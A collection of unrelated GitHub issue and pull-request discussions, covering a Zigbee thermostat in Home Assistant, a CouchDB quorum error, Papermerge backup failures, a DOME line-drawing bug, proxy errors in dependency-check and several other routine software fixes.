            "in_clusters": [
                "0x0000",
                "0x0003",
                "0x0004",
                "0x0005",
                "0x0201",
                "0x0202",
                "0xffac"
            ],
            "out_clusters": []
        }
    },
    "manufacturer": "OWON",
    "model": "AC201",
    "class": "zigpy.device.Device"
}

I do confirm that it works also on ZiGate with Domoticz

Looks like it presents itself as a Thermostat to zigbee network. Do you get any entities for it?
Is IR learning initiated from Zigbee or from device itself? May be you initiate IR learning from the device, and then you could send thermostat commands using automations service calls

Hi and thanks for the replies. The only entity it shows is a Fan. It show on all the time and when you try to turn it off it turns back on.
To the second point about learning on the device I think this is done in the their app but of course I would need their gateway to make the app work! So according to the instructions you use the app and the physical buttons on the front of the device.
Does this help?

try adding in your configuration.yml file
zha:
  device_config:
     IEEE_address_of_your_device-1:  #  replace with ieee address of your device and pay attention to -1 at the end
       type: "climate"

for example
zha:
  device_config:
    11:22:33:55:00:77:55:66-1:
       type: "climate"

and it is important to not miss -1 at the end of ieee address
Restart HA after the changes

Sorry where do I find the ieee number?

Ignore that. I just found it!

OK that changed things. The Fan entity is grey out and I have a new one.

Now I guess learning the code will be next?

yeah, but you probably need to know what manufacturer specific commands initiate IR learning. Either zigbee sniff traffic with native app or ask manufacturer

OK I will try. Given it works with other platforms like Deconz. Does this help?

does it do learning in deconz??? PR was saying just "initial support"?

Ahh. OK. Once I have these do I come back here?

Thanks again. So I can ask the manufacturer the correct this. What specifically should I ask please?

I do confirm that it works also on ZiGate with Domoticz

You right it works as the AC221 with the ZiGate plugin for Domoticz and would required firmware 31d

Hi Adminiuga
I now have the AC201 ZHA Clusters and Attributes document from the Manufacturer. I have read up on the ZHA quirks etc and seem a little beyond me. Happy to share.

Hi Adminiuga
I now have the AC201 ZHA Clusters and Attributes document from the Manufacturer. I have read up on the ZHA quirks etc and seem a little beyond me. Happy to share.

Hi bdb12,
if you still have the ZHA Clusters and Attributes document from the Manufacturer, could you please send it to me?


Feat/submit

Depends on https://github.com/WebOfTrust/signify-ts/pull/267
Adds support in signify-ts to call the 'submit' feature in KERIA to resubmit a KEL to an identifiers witnesses

KERIA submit functionality has been merged https://github.com/WebOfTrust/keria/pull/271


How to provide drag and drop sorting for uploaded images utilizing the current UI ?

Hi
I want to implement drag and drop sorting for the images after they are uploaded to the server.. (the images present in ....)
Please help
Thanks..

do you mean in the ".files" table?

yes the .files table


Allow building GRChombo with NAMESPACE=TRUE

Fixes #150 by including UsingNamespace.H in source files which directly include Chombo source files which essentially adds the line
using namespace Chombo;

at the beginning of files when Chombo is built with NAMESPACE=TRUE. Includes have also been reordered to put the Chombo ones first and any others afterwards. Finally, the ubuntu-18.04.Make.defs.local example which is used for the GCC github action that runs the test has now been updated with NAMESPACE=TRUE in order to test this compatibility is maintained in future updates.

Note that the GCC test will fail until GRChombo/Chombo#26 is merged,

I should point out that `#include "UsingNamespace.H" should be included after all other header files.

I should point out that `#include "UsingNamespace.H" should be included after all other header files.


Footer Updates: Social

Adds additional Social Network links/icons to the footer.
Note: Pinterest still needs to be added to the config.
Desktop:

Mobile:

:metal:

🎉


Create Problem_Statement_18_Solution.cpp

Solution for #30

Submitted!

Hi @aditioak , we can see that you have copied this code from LeetCode. We request you to try again and write it on your own and then submit the PR. Till then we have unassigned this issue as you have already been assigned another issue and according to our instruction one issue at a time. You can work on that issue yourself after understanding the working through references.


Revert "Add link to slides for FOSDEM (ORDEM) KMS talk"

Reverts open-life-science/open-life-science.github.io#927
I think this is where teh build broke

nope, it wasn't this pr. it was the end. revert-reverting.


Canvas.line seems to reach incorrect endpoint

Hi, I'm testing out a few small DOME features to familiarise myself ahead of DOME jam :)
I'm trying out some alternate screen sizes (in this case 400x240px) and noticed that drawing a line from one corner of the screen to another doesn't seem to behave as expected.
With this example code I get the following result:
import "dome" for Window
import "graphics" for Canvas, Color

class Game {
    static init() {
      Window.resize(400, 240)
      Canvas.resize(400, 240)
    }
    static update() {}
    static draw(dt) {
      Canvas.rect(0, 0, 400, 240, Color.white)
      Canvas.line(0, 0, 400, 240, Color.blue)
      Canvas.print("%(Canvas.width)", 1, 1, Color.red)
      Canvas.print("%(Canvas.height)", 1, 10, Color.red)
    }
}

Notice how the rect() function with width/height matching the screen correctly draws a border from one corner of the screen to another, however the line drawn with line() does not touch the corner of the screen as I'm expecting.
I'm not sure if this is related to the specific screen size I've chosen or just the line function in general, but in any case this doesn't match how I'd expect it to behave.
Thanks!

Oh wow, I've not seen that before! I can confirm this is a bug, and I will try to get it fixed up before DOMEjam.
I'm hoping to push out DOME 1.1.0 before then, including a mixture of performance and bug fixes, as well as a couple new features.

Turns out my implementation of Bresenham's Line Algorithm was wrong, resulting in deformed lines. Two-line fix!

Awesome, thanks @avivbeeri!


Error 500 when creating a db below quorum

Expected Behavior
On a 4 nodes cluster, having two down, if I try to create a new database the server should either reject the request or accept it returning a 202 status code. Once the down nodes come back, the new db should be replicated to them.
Current Behavior
Currently an error 500 is returned but the db is indeed created (not sure if it replicated when the down nodes came back).
Possible Solution
Return a more friendlier status code as 202 Accepted if the db was actually created or completely reject it with a 412 Precondition Failed instead.
Steps to Reproduce (for bugs)

Setup a 4 nodes cluster
Bring 2 of them down
curl -X PUT "http://xxx.xxx.xxxx.xxx:5984/testdb"
An error 500 is returned.
curl -X GET "http://xxx.xxx.xxx.xxx:5984/_all_dbs" will return testdb

Context
I'm building a CouchDB automatic administration toolset and I was trying out different scenarios to see it working, in this case I was simulating an operation where on a cluster without quorum (4 nodes, 2 of them down), one tries to create a new database.
Your Environment
It is a Kubernetes managed cluster where the Docker image in use is https://hub.docker.com/r/klaemo/couchdb/

Version used: 2.0.0
Link to your project: https://github.com/cabify/couchdb-admin

Hi there, can you please include an excerpt from couch.log showing what happens when the 500 is returned? Also, if possible, can you include the exact message returned to your client along with the 500, if any? Thanks.

Sure!!
$ curl -X PUT "http://admin:password@<IP_ADDRESS>:5984/newtestdb2"
{"error":"error","reason":"internal_server_error"}

and the log, in debug mode
[debug] 2017-06-20T13:42:58.420676Z<EMAIL_ADDRESS><0.18754.0> ac122995ef cache miss for admin
[debug] 2017-06-20T13:42:58.421663Z<EMAIL_ADDRESS><0.18754.0> ac122995ef no record of user admin
[notice] 2017-06-20T13:42:58.564874Z<EMAIL_ADDRESS><0.18754.0> ac122995ef <IP_ADDRESS>:5984 <IP_ADDRESS> undefined PUT /newtestdb2 500 ok 144

This one is a bit tricky. We are throwing internal_server_error here when the writers quorum not met, but we can only know that after the fact, i.e. after we created db on all available nodes and didn't get enough replies from the writers.
The database is available after that, we can add docs to it and it'll be replicated to the rest of the nodes when they get up, so strictly speaking this is not a complete failure. But at the same time we want to have some kind of warning that the cluster is unstable, after all, if we'll get available nodes down and previously unavailable nodes up at the same time the database will as if suddenly disappear.
I guess we can add a check for the nodes availability on db creation/deletion before starting operations and throw 412 there if we know we wouldn't have the quorum. It wouldn't solve the issue completely, the nodes could go down during db creation, but at least it'll narrow the confusion gap. @davisp what do you think? Is it worth of try to implement?

Assuming the db record gets written on one node then we should return a 202 Accepted as the dbs db will be replicated and at that point we'll have created the database.

Same question as @ChiragMoradiya : "When will this fix make it to a Debian package?" Asking here as I was not able to find info about CouchDB release cycle.

@jjrodrig thanks for the fix, closing this issue.
As to when it will be available in a package, the answer is "with the next release of CouchDB." Our intention is to release CouchDB approximately twice a year.
The last release of CouchDB was November 7, 2017.

I experience the same issue as the OP on a single node, when cluster.n=1 has been set in the config.
I've been trying to post a document to a newly created user db (with the Couch Per User feature).


Backup command returns "django.db.utils.OperationalError: no such table: core_user " and fails

This is a fantastic project. Thank you so much,
I installed with Portainer in minutes, and started using right away.
I am running the following versions:
Backend version: 2.1.8
Frontend version: 2.1.2
I tried to perform a backup following the instructions at https://docs.papermerge.io/backup_restore.html but as soon as I run:
docker run papermerge/papermerge backup /place/backup/file/here/

it gives me the following output and fails:
/venv/lib/python3.10/site-packages/requests/__init__.py:109: RequestsDependencyWarning: urllib3 (1.26.13) or chardet(None)/charset_normalizer (3.0.1) doesn't match a supported version!
  warnings.warn(Traceback (most recent call last):
  File "/venv/lib/python3.10/site-packages/django/db/backends/utils.py", line 89, in _execute
    return self.cursor.execute(sql, params)
  File "/venv/lib/python3.10/site-packages/django/db/backends/sqlite3/base.py", line 477, in execute
    return Database.Cursor.execute(self, query, params)
sqlite3.OperationalError: no such table: core_user

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "/app/manage.py", line 22, in <module> main()
  File "/app/manage.py", line 18, in main execute_from_command_line(sys.argv)
  File "/venv/lib/python3.10/site-packages/django/core/management/__init__.py", line 446, in execute_from_command_line    utility.execute()
  File "/venv/lib/python3.10/site-packages/django/core/management/__init__.py", line 440, in execute    self.fetch_command(subcommand).run_from_argv(self.argv)
  File "/venv/lib/python3.10/site-packages/django/core/management/base.py", line 414, in run_from_argv self.execute(*args, **cmd_options)
  File "/venv/lib/python3.10/site-packages/django/core/management/base.py", line 460, in execute output = self.handle(*args, *options)
  File "/app/papermerge/core/management/commands/backup.py", line 41, in handle  backup_data(file_path=file_path)
  File "/app/papermerge/core/backup_restore/backup.py", line 227, in backup_data dict_data = dump_data_as_dict()
  File "/app/papermerge/core/backup_restore/backup.py", line 211, in dump_data_as_dict  result_dict['users'] = UserSerializer(User.objects, many=True).data
  File "/venv/lib/python3.10/site-packages/rest_framework/serializers.py", line 768, in data ret = super().data
  File "/venv/lib/python3.10/site-packages/rest_framework/serializers.py", line 253, in data self._data = elf.to_representation(self.instance)
  File "/venv/lib/python3.10/site-packages/rest_framework/serializers.py", line 686, in to_representation  return [
  File "/venv/lib/python3.10/site-packages/django/db/models/query.py", line 320, in __iter__    self._fetch_all()
  File "/venv/lib/python3.10/site-packages/django/db/models/query.py", line 1507, in _fetch_all   self._result_cache = list(self._iterable_class(self))
  File "/venv/lib/python3.10/site-packages/django/db/models/query.py", line 57, in __iter__   results = compiler.execute_sql(
  File "/venv/lib/python3.10/site-packages/django/db/models/sql/compiler.py", line 1361, in execute_sql    cursor.execute(sql, params)
  File "/venv/lib/python3.10/site-packages/django/db/backends/utils.py", line 67, in execute   return self._execute_with_wrappers(
  File "/venv/lib/python3.10/site-packages/django/db/backends/utils.py", line 80, in _execute_with_wrappers   return executor(sql, params, many, context)
  File "/venv/lib/python3.10/site-packages/django/db/backends/utils.py", line 84, in _execute  with self.db.wrap_database_errors:
  File "/venv/lib/python3.10/site-packages/django/db/utils.py", line 91, in __exit__   raise dj_exc_value.with_traceback(traceback) from exc_value
  File "/venv/lib/python3.10/site-packages/django/db/backends/utils.py", line 89, in _execute   return self.cursor.execute(sql, params)
  File "/venv/lib/python3.10/site-packages/django/db/backends/sqlite3/base.py", line 477, in execute   return Database.Cursor.execute(self, query, params) django.db.utils.OperationalError: no such table: core_user

Thanks again for doing this.

This means that DB migrations did not run. Enter the application container and run:
$ ./manage.py migrate

Thank you for replying so quickly.
I ran
$ ./manage.py migrate

and got
/venv/lib/python3.10/site-packages/requests/__init__.py:109: RequestsDependencyWarning: urllib3 (1.26.13) or chardet (None)/charset_normalizer (3.0.1) doesn't match a supported version!
  warnings.warn(
Operations to perform:
  Apply all migrations: auth, authtoken, contenttypes, core, dynamic_preferences, dynamic_preferences_users, knox, sessions, sites
Running migrations:
  No migrations to apply.
  Your models in app(s): 'core' have changes that are not yet reflected in a migration, and so won't be applied.
  Run 'manage.py makemigrations' to make new migrations, and then re-run 'manage.py migrate' to apply them.

Therefore, I followed those instructions and got a positive result:
root@e05e990fae19:/app# ./manage.py makemigrations
/venv/lib/python3.10/site-packages/requests/__init__.py:109: RequestsDependencyWarning: urllib3 (1.26.13) or chardet (None)/charset_normalizer (3.0.1) doesn't match a supported version!
  warnings.warn(
Migrations for 'core':
  papermerge/core/migrations/0010_alter_basetreenode_user_alter_tag_user.py
    - Alter field user on basetreenode
    - Alter field user on tag
root@e05e990fae19:/app# ./manage.py migrate
/venv/lib/python3.10/site-packages/requests/__init__.py:109: RequestsDependencyWarning: urllib3 (1.26.13) or chardet (None)/charset_normalizer (3.0.1) doesn't match a supported version!
  warnings.warn(
Operations to perform:
  Apply all migrations: auth, authtoken, contenttypes, core, dynamic_preferences, dynamic_preferences_users, knox, sessions, sites
Running migrations:
  Applying core.0010_alter_basetreenode_user_alter_tag_user... OK

After that, I assumed I  would be able to run the backup command.
Instead, after running the same command
placehold

I received the very same error
/venv/lib/python3.10/site-packages/requests/__init__.py:109: RequestsDependencyWarning: urllib3 (1.26.13) or chardet (None)/charset_normalizer (3.0.1) doesn't match a supported version!
  warnings.warn(Traceback (most recent call last):
  File "/venv/lib/python3.10/site-packages/django/db/backends/utils.py", line 89, in _execute  return self.cursor.execute(sql, params)
  File "/venv/lib/python3.10/site-packages/django/db/backends/sqlite3/base.py", line 477, in execute return Database.Cursor.execute(self, query, params)
sqlite3.OperationalError: no such table: core_user

The above exception was the direct cause of the following exception:
Traceback (most recent call last):
  File "/app/manage.py", line 22, in <module> main()
  File "/app/manage.py", line 18, in main execute_from_command_line(sys.argv)
  File "/venv/lib/python3.10/site-packages/django/core/management/__init__.py", line 446, in execute_from_command_line    utility.execute()
  File "/venv/lib/python3.10/site-packages/django/core/management/__init__.py", line 440, in execute   self.fetch_command(subcommand).run_from_argv(self.argv)
  File "/venv/lib/python3.10/site-packages/django/core/management/base.py", line 414, in run_from_argv self.execute(*args, **cmd_options)
  File "/venv/lib/python3.10/site-packages/django/core/management/base.py", line 460, in execute output = self.handle(*args, **options)
  File "/app/papermerge/core/management/commands/backup.py", line 41, in handle backup_data(file_path=file_path)
  File "/app/papermerge/core/backup_restore/backup.py", line 227, in backup_data dict_data = dump_data_as_dict()
  File "/app/papermerge/core/backup_restore/backup.py", line 211, in dump_data_as_dict result_dict['users'] = UserSerializer(User.objects, many=True).data
  File "/venv/lib/python3.10/site-packages/rest_framework/serializers.py", line 768, in data ret = super().data
  File "/venv/lib/python3.10/site-packages/rest_framework/serializers.py", line 253, in data self._data = self.to_representation(self.instance)
  File "/venv/lib/python3.10/site-packages/rest_framework/serializers.py", line 686, in to_representation  return [
  File "/venv/lib/python3.10/site-packages/django/db/models/query.py", line 320, in __iter__  self._fetch_all()
  File "/venv/lib/python3.10/site-packages/django/db/models/query.py", line 1507, in _fetch_all self._result_cache = list(self._iterable_class(self))
  File "/venv/lib/python3.10/site-packages/django/db/models/query.py", line 57, in __iter__ results = compiler.execute_sql(
  File "/venv/lib/python3.10/site-packages/django/db/models/sql/compiler.py", line 1361, in execute_sql cursor.execute(sql, params)
  File "/venv/lib/python3.10/site-packages/django/db/backends/utils.py", line 67, in execute  return self._execute_with_wrappers(
  File "/venv/lib/python3.10/site-packages/django/db/backends/utils.py", line 80, in _execute_with_wrappers return executor(sql, params, many, context)
  File "/venv/lib/python3.10/site-packages/django/db/backends/utils.py", line 84, in _execute with self.db.wrap_database_errors:
  File "/venv/lib/python3.10/site-packages/django/db/utils.py", line 91, in __exit__  raise dj_exc_value.with_traceback(traceback) from exc_value
  File "/venv/lib/python3.10/site-packages/django/db/backends/utils.py", line 89, in _execute  return self.cursor.execute(sql, params)
  File "/venv/lib/python3.10/site-packages/django/db/backends/sqlite3/base.py", line 477, in execute  return Database.Cursor.execute(self, query, params)
django.db.utils.OperationalError: no such table: core_user

I am going to start looking into the warnings like RequestsDependencyWarning and then the rest of the call stacks, but I figured I'd give you this information in the meanwhile.
Also question: why would I need to run a "migration" process on a new installation? I might have missed that in the documentation.
Thank you again and I will share my findings while investigating too.

While researching the dependency warning (which is a common Django warning with a lot of insights -- I do not know Django so I learned a few thing) it occurred to me to do a test on the backup process.
The documentation link that I mentioned explains 2 methods of backup:

create a backup from the container by calling manage.py backup
create a backup from the host by calling docker run...

I used the second because I want to save the backup files in a safe place outside docker as a disaster recovery measure.
However, I actually went into the backend container and I ran:
$ ./manage.py backup /app/media/

and that worked with no errors (still gave the dependency warning, which means that the Django warning is not relevant to the backup performance). And I was able to get the backup file in the volume, by going into /var/lib/docker/volumes/papermerge_media_root/_data on my host.
This way I can basically perform backups and restores through the docker volume while figuring our the original command.
I figured this might help someone who is in the same situation and equally oblivious of Django things.


[Access Request] report 1306 "Standard Sales - Invoice"

Could we please get access to the follwoing varialbes in the report 1306 "Standard Sales - Invoice"?
protected var
        CompanyBankAccount: Record "Bank Account";
        PaymentMethod: Record "Payment Method";
        SalespersonPurchaser: Record "Salesperson/Purchaser";
        SalesSetup: Record "Sales & Receivables Setup";
        TempLineFeeNoteOnReportHist: Record "Line Fee Note on Report Hist." temporary;
        TotalText: Text[50];
        LogInteraction: Boolean;
        TotalAmount: Decimal;
        TotalAmountInclVAT: Decimal;
        TotalAmountVAT: Decimal;
        TotalInvDiscAmount: Decimal;
        TotalPaymentDiscOnVAT: Decimal;
        RemainingAmount: Decimal;
        TotalAmountExclInclVATValue: Decimal;
        TotalVATBaseLCY: Decimal;
        TotalVATAmountLCY: Decimal;
        TotalVATBaseOnVATAmtLine: Decimal;
        TotalVATAmountOnVATAmtLine: Decimal;
        VATBaseLCY: Decimal;
        VATAmountLCY: Decimal;
        CurrCode: Text[10];
        CurrSymbol: Text[10];

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. Please do not reply to this, as we do not monitor closed issues. If you have follow-up questions or requests, please create a new issue where you reference this one.
Build ID: 51596.


Be clear we depend on Spark 2.2 specifically.

Since the project uses Pandas UDFs now (based on this PR #47) , I think this issue can be closed or renamed to "Be clear we depend on Spark 2.3 specifically".


Procedural Generation

I'm wondering if there is a performance benefit with using a GraphicsBuffer and DrawMeshProcedural compared to DrawMesh. I would like to just bind vertex and index buffers instead of having to construct and cash a mesh all the time to render.

I would like to test this to see how it works because I haven't gotten a successful DrawProcedural call working well in Unity. :|

Alright after some tinkering, DrawProcedural would work, but I would need to open up new index and vertex buffer per level of submesh.
Closing this issue for now.


Delete Goerli and Mumbai testnet

Why do we need to get rid of all the testnets?

Why do we need to get rid of all the testnets?

since we decided to focus one L2 arbitrum first, we can add them back once we are ready to launch it at any mainnet


env

https://github.com/jessevdk/go-flags/blob/master/flags.go#L103
https://github.com/netdata/agent-service-discovery/blob/master/cmd/sd/main.go#L32

@pickfire thanks! I didn't know there is env struct field tag!

@pickfire thanks! I didn't know there is env struct field tag!


version_toml config to support complex dependencies format in project.toml

Description
It would be great if the version_toml config could allow to update the version number of dependencies (e.g. under [tool.poetry.dependencies]), which have a more complex form.
Example:
[tool.poetry.dependencies]
my-package = { version = "1.0.0", source = "my-source" }  # <- target this

[tool.semantic_release]
version_toml = [
    "pyproject.toml:tool.poetry.version",
    "pyproject.toml:tool.poetry.dependencies.my-package",
]

Currently, the replacement does work with the example above, but would replace the entire line with:
[tool.poetry.dependencies]
my-package = "2.0.0"

Use cases
Why targeting dependencies in the first place? We're using python-semantic-release in the context of a monorepo, containing multiple sub Poetry packages. Some of those sub packages have mutual dependencies. Our strategy is to increment the version number in sync between all the packages, and therefore, we would like to have the newly computed version to be reflected in the dependencies for a robust resolution.
Possible implementation
Maybe introducing a new token to query json values. E.g. ($):
version_toml = [
    "pyproject.toml:tool.poetry.dependencies.my-package$version",
]

@aaaaahaaaaa, thank you for bringing up this lack of functionality. It seems reasonable to make sure this modification is available. I'll take a look soon.

@aaaaahaaaaa, actually this is feature already works, you just need to add one more index.  Your toml shorthand that uses brackets is an equivalent to a TOML table which gets parsed into a python dictionary.  This means all you need to do is add the additional key to the configuration. I just tested this with a successful replacement.
[tool.poetry.dependencies]
my-package = { version = "1.0.0", source = "my-source" }

[tool.semantic_release]
version_toml = [
    "pyproject.toml:tool.poetry.dependencies.my-package.version",    # <- add version key
]

@codejedi365 Ah! It is working indeed. I thought I actually tested that and it didn't work. My bad.
Thanks for the support!


Add NonConsistentHashPoolProvider

A NonConsistent hash is more heavy in CPU than a simple crc32 and it can also be less balanced. Since we have plenty of options to manage out pools, we usually grow a pool by migrating into a new one, not expanding a present one, having a simple non-consistent is a good option.
INITIAL.multithreaded: Overall: 110779.55 RPS / 9.03 us/req
INITIAL.singlethreaded:Overall: 111545.63 RPS / 8.96 us/req
NON_CONSISTENT_SHARDING.multithreaded:Overall: 124463.31 RPS / 8.03 us/req
NON_CONSISTENT_SHARDING.singlethreaded:Overall: 126979.22 RPS / 7.88 us/req

Before:

After:

Nice! Any other hashing algorithms considered, or ok with crc32 for now? Lots of others on https://github.com/rurban/smhasher including issues with each

I tried a few (like meow hash, liked the name punch) but most are rust and the bridging kills the performance wins. But we can definitely try and add others.
Note collisions are not significant as we are using this for sharding, we will "collision" all keys over a few servers anyway, so the characteristics of the hash are not as important as the evenness of the output :)
Also note we are not (yet) changing to use a different sharding, this just offers the choice and makes an example on how to add other sharding algs.


Please upgrade to click 8

aws-sso-util uses click v7. This is not compatible with black, which requires click v8. This is a bit problematic for me since I'm working on a package that calls into some aws-sso-util cli internals (get_token_fetcher in particular), and I can't run black to enforce consistent coding style due to this conflict.

Seconding (thirding?) this. Black is so widely used that by depending on the old click version you're severely limiting the environments this library can be installed in.

Things have been going slower this month for me than I planned, but I will have it this week. However, I'm interested in your (@wichert @Almenon @jorenverspeurt) usage of aws-sso-util as a library.  aws-sso-util is intended to be installed as a standalone utility (e.g., through pipx); all library use cases are supposed to be supported through aws-sso-lib, which doesn't use click at all. As an example, get_token_fetcher() is in aws_sso_lib.sso, it's not actually in the aws-sso-util code at all.

After some recent refactoring we still have a dependency on aws-sso-util to have aws-sso-util credential-process available for use in profile configuration.

Are you sure you still need aws-sso-util credential-process? Almost all the language SDKs support SSO configuration now.
I haven't touched the standalone credential process I made since I folded it into aws-sso-util but it might still work and doesn't use click: https://github.com/benkehoe/aws-sso-credential-process

Released in aws-sso-util v4.31.


Failed to request component-reports: Unable to tunnel through proxy. Proxy returns "HTTP/1.1 403 Forbidden"

Dependency-Check Core version 5.1.0 everything is fine behind proxy but this:
DEBUG - autoload off: VM system will not automatically reload global library macros
2019-07-11 16:11:52,553 org.owasp.dependencycheck.App:202
ERROR - Failed to request component-reports: Unable to tunnel through proxy. Proxy returns "HTTP/1.1 403 Forbidden"
2019-07-11 16:11:52,554 org.owasp.dependencycheck.App:203
DEBUG - unexpected error
org.owasp.dependencycheck.analyzer.exception.AnalysisException: Failed to request component-reports: Unable to tunnel through proxy. Proxy returns "HTTP/1.1 403 Forbidden"
at org.owasp.dependencycheck.analyzer.OssIndexAnalyzer.analyzeDependency(OssIndexAnalyzer.java:162)
dependency-check.sh --proxyserver <IP_ADDRESS> --proxyport 4444 --project Testing --out . --scan /tmp/ggg

Looking up the error I found this: https://stackoverflow.com/questions/41505219/unable-to-tunnel-through-proxy-proxy-returns-http-1-1-407-via-https
Can you try running the following:
export JAVA_OPTS='-Djdk.http.auth.tunneling.disabledSchemes=""'
dependency-check.sh --proxyserver <IP_ADDRESS> --proxyport 4444 --project Testing --out . --scan /tmp/ggg

Sorry no dice, I even hard coded Dhttps.proxyHost etc in script same issue

doh sorry found the issue, local proxy config -closing


Use Markdowneditor on more places in Gitea

Inspired by #27759
There are places in Gitea which support rendering markdown, but instead of the Markdowneditor the normal Editor is used. This PR fixes this.
It includes the following things:

Project description
User description
Org description

Please tell me, if I missed something.

Screenshots

While working on this I found out, that the Markdown in Projects descriptions on the User/Org level is not rendered. I fixed this.

@lunny these places already support Markdown, only their editor indicates otherwise as far as I understood

@lunny so, what do we do about this PR?

Actually usually I also tried to help & push some PRs to move on. The problem is that many PRs are inactive and not that responsive, for example, 25049 since Jun, 2023. (not a native speaker, I would like to mean "have responses after getting review comments" by responsive).
So usually I would like to spend time on PRs that are more active.
ps: there are still some problems in this PR I guess .......

But there are still some problems in code

Could you give an example what we need to fix?

But there are still some problems in code

Could you give an example what we need to fix?

Added some quick reviews (haven't reviewed it carefully yet, maybe I could checkout and edit directly if this PR gets enough interests).

This PR is not right and there are still many bugs, and there is no response from the author for long time.
-> Use Markdowneditor in more places #27772

->  Refactor markdown editor and use it for milestone description editor #32688
32688 will make the markdown editor easier to maintain and use it in more places (except the user/org description because these textareas could only contain 255 characters, it is questionable whether it is worth to add a complex editor for it)


When will the code be released ?

Having read your Paper, very meaningful and innovative work ！
I am very interested in trying out the mentioned methods. Could you please let me know when the code will be released?
Thanks！

Thank you for your interest in our work! We are still rearranging the code and hope to release a clean version. It may take a few months to complete.

That's really unfortunate. I am truly very interested in your work. Could you possibly provide a simple demo code first? I would be very grateful. Thank you very much.

That's really unfortunate. I am truly very interested in your work. Could you possibly provide a simple demo code first? I would be very grateful. Thank you very much.
Thank you for your advice! We are still working on it and will release a demo first after we finish this part.

looking forward to the release!

Hi! We have just released an initial version. Currently, it only supports model inference with the searched weight merging coefficients, to reproduce the results reported in our paper. The evolutionary search part is still being organized and will be released in the future. Thank you again for your attention to our work!

looking forward to the release!

Thank you for your interest! An initial version is available now.


driver: sensor: bq2415x Added support

Added driver support for the BQ2415x battery charger
Signed-off-by: Filip Primozic<EMAIL_ADDRESS>

Thanks for your contribution!
Please add this driver to tests/drivers/build_all/sensors_a_h.conf to make it build in CI.

Done

Close it because of license violation. @filip-primozic You may need professional help if this code was shipped with the product.


Produce backups of critical files

Produce a timestamped zip file of critical files (e.g. wallet ids) for easy consumption for other processes (e.g. rsync)

I have written a bash script that zips up everything in the var/brit/matcher/store directory that contains all the wallet id files and the BRIT addresses given out per day.
It is: create-brit-backup.sh in the top level of the BRIT server project
It produces a file e.g.
/var/brit/matcher/backup/backup-2015-06-01-17-48-42.zip

There is now a cron.daily job running on the hamburg server to produce these backups daily.
To do next is an rsync script that Jim / Gary can run from their machines to copy these files down to their machines to ensure there is a remote backup

I have pushed a script "rsync-brit-jim.sh" which rsyncs the hamburg BRIT backups to a local directory: /var/brit/hamburg
It's basically just an rsync and has the username 'jim' in it.
If @gary-rowe just wants to copy it and tweak the username etc it'll work.
It also expects an entry in ~/.ssh/config to the server - there's a comment in the script itself with an example.
This should get the job done for now.
Awaiting review and closing.

To remind myself to run the backup I have entered a line in my .bash_profile:
Recently run ? : /Users/jim/IdeaProjects/bitcoin-solutions/brit-server/rsync-brit-jim.sh
Then everytime I fire up a terminal I'll get a little reminder

Just reviewed the script. It looks like it'll do the job on an ad hoc basis.
Closing.


Add a "cause" option to HTTPException

What is the feature you are proposing?
The JavaScript Error class can be passed the cause option.
This is a property that indicates the cause of the error and is used to catch the error and construct the error including the original error when it is thrown again.
The HTTPException class defined by Hono does not have a cause property.
This makes it impossible for monitoring tools such as Sentry to determine the detailed cause of the error when throwing an HTTPException error.
It would be easier to debug if the cause property could be passed to HTTPException as well.

@yusukebe
What do you think about this?

Hi @Karibash
Sounds good!
To enable cause, we have to update the compilerOptions.target to such as ES2022 or ESNext in tsconfig.json, but I think it's good.
https://github.com/honojs/hono/blob/06cb43aa8e256977ccc497e091087a4330060c9d/tsconfig.json#L3
Can you create the PR to support it?

@yusukebe
Thanks for the reply.
Sounds easy enough, I'll give it a try.
I think I can get a PR out by the end of tomorrow.

This can be closed. Thanks!


cvp does not work correctly

cvp([-2, 0.0], Matrix([1 1.0; 4 0]'))

It got stuck in this expression. It only has dimension 2.

Matrix([1 1.0; 4 0]') is not upper triangular as required for the second argument of cvp.    It's not clear to me what problem you want to solve.   Did you mean to use code shown below (which is adapted from the help text of cvp)?
H = Matrix([1 1.0; 4 0]');
Q,R = qr(H);
uhat = cvp(Q'*[-2,0],R)

Thanks, that makes sense. It is safer to dispatch it on UpperTriangular type in my opinion, then people has no chance to input the incorrect arguments.


feat: Purify getDefaultAppState() by removing name

As discussed with @ad1992, we're making getDefaultAppState() pure and deterministic by removing name property which uses i18n and Date. By removing, I mean setting it to undefined which is invalid AppState type. And I do that instead of setting it to some default value for type-safety, so that we're forced to set it to the correct value where applicable (well technically removed it... in fact I am setting it to default value, but only in value space, not in type space).
Not sure what PR type to use — refactor went with feat since it'll change app behavior and will be a breaking change?

WIP — rn I just moved it from getDefaultAppState() over to restore(), but ideally I would want to make restore() pure as well, but it'll take more work.

@dwelle I was also working on the same in https://github.com/excalidraw/excalidraw/pull/2683.
can we merge both the PR's into one?

@dwelle I was also working on the same in https://github.com/excalidraw/excalidraw/pull/2683.
can we merge both the PR's into one?

Didn't notice, sorry. We can, but I first wanna figure out the final solution for this. I'm not super happy with what I'm doing here yet.

Didn't notice, sorry. We can, but I first wanna figure out the final solution for this. I'm not super happy with what I'm doing here yet.


fix apt-get install failure

The problem was with the json index of available packages not with setup-edgedb.


Implement Features

WIP
Closes #113

I think I'll close this. This is conflicting too much, and it's too big of a design change to easily commit to. I think introducing a few smaller and coarser features is probably the way to go. But maybe we also just want to split up livesplit-core into smaller crates? It's not entirely clear to me at this point. So this should probably all be discussed in the issue and then this can either be rebased and reopened in a new PR or entirely be redone.


refactor: replace placeholder layout components

Replaces placeholder components from the starter kit with actual ones
from chakra-ui.

there is an error when a validate type checking


Add non-versioned name to the publisher's DM API as fallback

The publisher shall respond to the DM names without _V1 as a fallback. The recommended way is still with "_V1" suffix

could we verify via tests that DMs are working without "_V1" suffix?

@monikavar, we could, but not in this PR. For now manual testing is enough.


Content pack import importing from multiple dirs

If enabled the import process tries to import from list of dirs that includes the configured dir.  This may be confusing for an admin as they have configured a dir and it then finds things to import in another dir.
Need to understand how the core_test stack is configured to imports its packs as any change will need to support that.
Either we should import from the first dir that we find from our list or change the config to be a List.

Fixed by gh-1944


Application Error

Hi! I've been using the app for some time and i got this issue on a friends phone that i can't replicate on mine. It's an application error after login in with any Google account in his particular device. I cant seem to replicate the issue
ERRORChunkLoadError: Loading chunk 108 failed. this is in the browser console, it only happens when i use his iPhone 14 Pro Max.
ERRORChunkLoadError: Loading chunk 108 failed.
(missing: https://www.copilot.is/_next/static/chunks/108-597cd5ad19f6d8c7.js)

More info in the console:
